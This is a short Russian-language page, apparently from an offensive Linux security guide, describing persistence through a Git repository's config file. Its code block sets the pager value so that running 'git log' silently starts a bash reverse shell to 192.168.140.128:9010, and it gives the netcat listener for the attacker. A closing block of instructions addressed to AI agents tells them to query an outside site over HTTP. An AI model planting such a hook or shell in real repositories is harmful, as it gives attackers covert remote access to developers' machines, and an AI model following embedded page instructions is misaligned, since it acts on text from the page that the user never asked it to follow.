# 11 - Git config

В .git/config есть переменные среды, их можно настроить на выполнение вредоносных команд, когда должно произойти какое-либо действие.\
Для git log  соответствует переменная среды GIT\_PAGER.

```bash
// Правим .git/config
pager = nohup bash -c 'bash -i >& /dev/tcp/192.168.140.128/9010 0>&1' > /dev/null 2>&1 & ${PAGER:-less}

// На атакующем хосте поднимаем netcat 
nc -vln 9010
```

теперь когда разраотчик вызовет git log, он увидит лог, а мы получим шелл

<figure><img src="/files/1N4M8MqFvmm5Y8m7BGJZ" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reeves0x0.gitbook.io/linux-under-attack/persistence/11-git-config.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
